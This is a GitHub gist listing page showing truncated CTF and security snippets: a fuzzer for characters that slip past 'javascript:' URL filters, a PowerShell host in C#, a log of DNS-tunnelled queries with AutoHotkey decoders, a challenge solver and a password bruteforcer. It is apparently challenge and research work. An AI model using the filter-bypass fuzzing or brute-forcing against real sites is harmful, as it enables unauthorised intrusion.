Skip to content

Instantly share code, notes, and snippets.

@jpginc
jpginc / test ignored characters.js
Created June 17, 2019 11:19
ignored characters in javascript
function getIgnoredChars(payload, insertionPoint)
{
var asciiMax = 65535;
var ignoredChars = [];
for(var i = 0; i < asciiMax; i++) {
var test = String.fromCharCode(i);
var urlStr = payload.slice(0, insertionPoint) + test + payload.slice(insertionPoint);
try {
var url = new URL(urlStr);
if(url.protocol == "javascript:") {
@jpginc
jpginc / pipelinePowershell.cs
Created October 15, 2018 14:34
simple powershell in c#
using System.Windows;
using System.Windows.Controls;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace powershell
{
public partial class Page1 : Page
{
@jpginc
jpginc / allDnsQuery.txt
Created October 4, 2018 03:34
allDnsQuery.txt
This file has been truncated, but you can view the full file.
34.205.75.67 0bfa00e6f9e8460021636f6d6d616e64202869702d3137322d32302d3131.2d33352900.torrabot.enterprises
172.20.54.197 0bfa00e6f9e8460021636f6d6d616e64202869702d3137322d32302d3131.2d33352900.torrabot.enterprises
34.205.75.67 cfbd01e6f9e84655e6.torrabot.enterprises
172.20.54.197 cfbd01e6f9e84655e6.torrabot.enterprises
34.205.75.67 ac3b01e6f9e84655e6.torrabot.enterprises
172.20.54.197 ac3b01e6f9e84655e6.torrabot.enterprises
34.205.75.67 afe801e6f9e84655e6.torrabot.enterprises
172.20.54.197 afe801e6f9e84655e6.torrabot.enterprises
34.205.75.67 697a01e6f9e84655e6.torrabot.enterprises
172.20.54.197 697a01e6f9e84655e6.torrabot.enterprises
@jpginc
jpginc / dns5.ahk
Created October 4, 2018 03:08
dns5
FileRead, bin, properDecoded.txt
StringMid, img, bin, 41416, 144842 - 41415
f := FileOpen("img2.jpeg", "w")
f.write(img)
f.close()
@jpginc
jpginc / dns4.ahk
Created October 4, 2018 03:07
dns4
FileRead, bin, properDecoded.txt
StringMid, img, bin, 594, 41415 - 594
f := FileOpen("img.png", "w")
f.write(img)
f.close()
@jpginc
jpginc / dns3.ahk
Last active October 4, 2018 01:38
dns3
asciiHex := ""
loop, Read, allDnsQuery.txt
{
IfInString, A_loopreadline, 34.205.75.67
continue ;there is an entry for the query and response, elminate one to remove duplicates
query := StrSplit(A_LoopReadLine, " ")[2] ;get the query (remove the IP address)
query := RegExReplace(query, "\.") ;remove the dot's as they aren't part of the ascii hex
query := RegExReplace(query, "torrabotenterprises") ;not part of the ascii hex
StringTrimLeft, query, query, 18 ; the first 18 characters appear to be nonsense
if(query) ;if there is any data left
@jpginc
jpginc / dns2.ahk
Last active October 4, 2018 00:49
dns2
loop, Read, allDnsQuery.txt, decoded1.txt
{
FileAppend, % asciiHexToStr(A_LoopReadLine) "`n"
}
asciiHexToStr(str)
{
decoded := "", start := -1
while(start <= StrLen(str)) {
decoded .= chr("0x" SubStr(str, (start := start + 2), 2))
}
@jpginc
jpginc / dns1.ahk
Created October 4, 2018 00:21
dns1
loop, Read, allDnsQuery.txt, interestingQueries.txt
{
IfInString, A_LoopReadLine, torrabot.enterprises, FileAppend, %A_LoopReadLine%`n
}
@jpginc
jpginc / solver.ahk
Created September 27, 2018 21:22
Three seconds solution
#include <Vis2> ; Equivalent to #include .\lib\Vis2.ahk
loop, 10
{
urlasdf := "http://70.37.63.30/Web/ThreeSeconds/image.php"
WebRequest := ComObjCreate("WinHttp.WinHttpRequest.5.1")
WebRequest.Open("GET", urlasdf)
WebRequest.SetRequestHeader("Cookie", "PHPSESSID=g4p87ap7i1je6p807q9c5tlmgt; is_authorized=false")
WebRequest.SetRequestHeader("Referer", "http://70.37.63.30/Web/ThreeSeconds/index.php")
WebRequest.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
@jpginc
jpginc / bruteforce.js
Created September 27, 2018 17:38
bruteforcer
inc = 0
str = "adrgongera"
setInterval(function() {
checkPassword(string_nth_permutation(str, inc++))
}, 1)